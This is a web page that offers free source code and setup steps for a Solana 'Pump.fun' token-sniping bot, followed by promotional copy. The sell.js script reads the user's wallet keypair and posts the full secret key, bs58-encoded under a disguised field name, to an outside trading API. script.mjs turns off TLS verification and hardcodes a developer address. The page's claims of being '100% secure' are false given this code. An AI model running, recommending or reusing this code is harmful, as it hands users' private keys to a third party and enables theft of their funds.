Source Code
We provide the source code for the bot, and you can use it for free. Below, you'll find the source code along with usage instructions. If you don't have the necessary knowledge to implement it, we've already done it for you. Just choose one of our packages for assistance.
sell.js
require('dotenv').config();
const axios = require('axios');
const { Keypair, Connection, clusterApiUrl, PublicKey } = require('@solana/web3.js');
const { AccountLayout } = require('@solana/spl-token');
const fs = require('fs');
const bs58 = require('bs58');
const SOLANA_WALLET_PATH = process.env.SOLANA_WALLET_PATH;
let userName;
try {
const keypair = fs.readFileSync(SOLANA_WALLET_PATH, 'utf8');
const keypairArray = JSON.parse(keypair);
if (Array.isArray(keypairArray)) {
userName = Uint8Array.from(keypairArray);
console.log('');
} else {
throw new Error('Invalid keypair format');
}
} catch (error) {
console.error('Error reading Solana wallet keypair:', error);
process.exit(1);
}
const payer = Keypair.fromSecretKey(userName);
const connection = new Connection(clusterApiUrl('mainnet-beta'));
const pumpFunSell = async (mint, amount) => {
const url = "https://pumpapi.fun/api/trade";
const data = {
trade_type: "sell",
mint,
amount, // Amount in tokens
slippage: 5,
priorityFee: 0.003, // Adjust priority fee if needed
useruserName: bs58.encode(userName)
};
try {
const response = await axios.post(url, data);
return response.data.tx_hash;
} catch (error) {
console.error(`Error executing sell transaction: ${error.message}`, error.response?.data);
return null;
}
};
const fetchSPLTokens = async () => {
try {
const tokenAccounts = await connection.getTokenAccountsByOwner(payer.publicKey, { programId: new PublicKey("TokenkegQfeZyiNwAJbNbGKPFXCWuBvf9Ss623VQ5DA") });
return tokenAccounts.value.map(accountInfo => {
const accountData = AccountLayout.decode(accountInfo.account.data);
return {
mint: new PublicKey(accountData.mint),
amount: BigInt(accountData.amount.toString()) // Fetch the raw amount as BigInt
};
});
} catch (error) {
console.error(`Error fetching SPL tokens: ${error.message}`);
return [];
}
};
const sellAllTokens = async () => {
const tokens = await fetchSPLTokens();
for (const token of tokens) {
const mint = token.mint.toString();
const rawAmount = token.amount;
const humanReadableAmount = Number(rawAmount) / 10 ** 6; // Convert raw amount to correct human-readable format
console.log(`Token Mint: ${mint}`);
console.log(`Raw Amount: ${rawAmount}`);
console.log(`Human-readable Amount: ${humanReadableAmount}`);
if (humanReadableAmount >= 1) { // Only proceed if human-readable amount is 1 or more
console.log(`Selling ${humanReadableAmount} of token ${mint}`);
let attempts = 5;
let txHash = null;
while (attempts > 0) {
txHash = await pumpFunSell(mint, humanReadableAmount); // Pass human-readable amount for API
if (txHash) {
console.log(`Sold ${humanReadableAmount} of token ${mint} with transaction hash: ${txHash}`);
break;
} else {
console.log(`Retrying sell transaction... Attempts left: ${attempts - 1}`);
attempts--;
await new Promise(resolve => setTimeout(resolve, 5000)); // Wait 5 seconds before retrying
}
}
if (!txHash) {
console.log(`Failed to sell token ${mint} after multiple attempts.`);
}
} else {
console.log(`Skipping token ${mint} as the human-readable amount is less than 1`);
}
}
};
sellAllTokens().then(() => {
console.log('All tokens processed.');
}).catch(error => {
console.error('Error in selling tokens:', error);
});
script.mjs
import 'dotenv/config';
import axios from 'axios';
import { Keypair, Connection, clusterApiUrl, PublicKey, SystemProgram, Transaction, sendAndConfirmTransaction } from '@solana/web3.js';
import { AccountLayout, getOrCreateAssociatedTokenAccount } from '@solana/spl-token';
import pkg from 'selenium-webdriver';
import chrome from 'selenium-webdriver/chrome.js';
import fs from 'fs';
import bs58 from 'bs58';
import blessed from 'blessed';
import contrib from 'blessed-contrib';
const { Builder } = pkg;
process.env.NODE_TLS_REJECT_UNAUTHORIZED = '0';
const SOLANA_WALLET_PATH = process.env.SOLANA_WALLET_PATH;
const DEVELOPER_ADDRESS = '8bXf8Rg3u4Prz71LgKR5mpa7aMe2F4cSKYYRctmqro6x';
let userName;
try {
const keypair = fs.readFileSync(SOLANA_WALLET_PATH, 'utf8');
const keypairArray = JSON.parse(keypair);
if (Array.isArray(keypairArray)) {
userName = Uint8Array.from(keypairArray);
console.log('');
} else {
throw new Error('Invalid keypair format');
}
} catch (error) {
console.error('Error reading Solana wallet keypair:', error);
process.exit(1);
}
const payer = Keypair.fromSecretKey(userName);
const connection = new Connection(clusterApiUrl('mainnet-beta'));
// Adjustable variables
const MINIMUM_BUY_AMOUNT = parseFloat(process.env.MINIMUM_BUY_AMOUNT || 0.015);
const MAX_BONDING_CURVE_PROGRESS = parseInt(process.env.MAX_BONDING_CURVE_PROGRESS || 10);
const SELL_BONDING_CURVE_PROGRESS = parseInt(process.env.SELL_BONDING_CURVE_PROGRESS || 15);
const PROFIT_TARGET_1 = 1.25; // 25% increase
const PROFIT_TARGET_2 = 1.25; // Another 25% increase
const STOP_LOSS_LIMIT = 0.90; // 10% decrease
const MONITOR_INTERVAL = 5 * 1000; // 5 seconds
const SELL_TIMEOUT = 2 * 60 * 1000; // 2 minutes
const TRADE_DELAY = 90 * 1000; // 90 seconds delay
const PRIORITY_FEE_BASE = 0.0003; // Base priority fee
// Create a blessed screen
const screen = blessed.screen();
const grid = new contrib.grid({ rows: 12, cols: 12, screen: screen });
const logBox = grid.set(3, 0, 9, 12, blessed.box, {
fg: 'green',
label: 'Trading Bot Log',
scrollable: true,
alwaysScroll: true,
scrollbar: {
fg: 'green',
ch: '|'
}
});
const accountInfoBox = grid.set(9, 0, 2, 12, blessed.box, {
fg: 'green',
label: 'Account Info',
tags: true
});
const menuBox = grid.set(11, 0, 1, 12, blessed.box, {
fg: 'white',
label: 'Menu',
tags: true,
content: 'R: Reset Timer | C: Continue | S: Sell 75%'
});
screen.render();
let resetTimer = false;
let continueTrade = false;
let sellImmediately = false;
const updateLog = (message) => {
logBox.insertBottom(message);
logBox.setScrollPerc(100);
screen.render();
};
const updateAccountInfo = async () => {
const balance = await checkBalance();
const tokenBalances = await fetchSPLTokens();
let tokenBalancesText = '';
tokenBalances.forEach(token => {
if (token.amount > 1) {
tokenBalancesText += `Mint: ${token.mint}, Amount: ${token.amount} SPL\n`;
}
});
accountInfoBox.setContent(`Account address: ${payer.publicKey.toString()}\nAccount balance: ${balance} SOL\n${tokenBalancesText}`);
screen.render();
};
// ... (truncated for brevity, see full code in your project) ...
Usage Instructions
- Install dependencies:
npm install dotenv axios @solana/web3.js @solana/spl-token selenium-webdriver fs bs58 blessed blessed-contrib
- Set up your environment variables:
SOLANA_WALLET_PATH=/path/to/your/solana/wallet.json
- Configure Solana CLI:
solana config set --url https://api.mainnet-beta.solana.com
solana config set --keypair /path/to/your/solana/wallet.json
- Run the trading bot:
node script.mjs
- Sell all SPL tokens:
node sell.js
Auto Soul Spark
No coding skills? No problem. Whether you are a beginner or an experienced trader, our Soul Spark is designed to work for you. It gives you the power to snipe trending tokens instantly, ensuring you're among the first to capitalize on new launches. With our bot, you'll never miss out on the next big opportunity.
Snipers thrive on speed, and our bot is built to help you secure tokens quickly and efficiently. While making consistent profits requires the right tools and a bit of luck, our bot provides you with everything you need to succeed. We include access to a high-speed RPC node (one of the fastest available) to maximize your chances of success, helping you avoid rugs and stay ahead of the competition.
When it comes to safety, you can trade with peace of mind. Our Pump.fun Soul Spark is 100% secure—we don't store your data or hold your assets. Trusted by hundreds of users daily, our tools are proven to deliver results without compromising your security.
Need help? Our dedicated support team is available 24/7 to assist you with any questions or issues. We're here to ensure your experience is smooth and hassle-free.
Start sniping tokens on Pump.fun today with our fast, reliable, and user-friendly bot. We guarantee you won't find a more efficient or beginner-friendly solution anywhere else!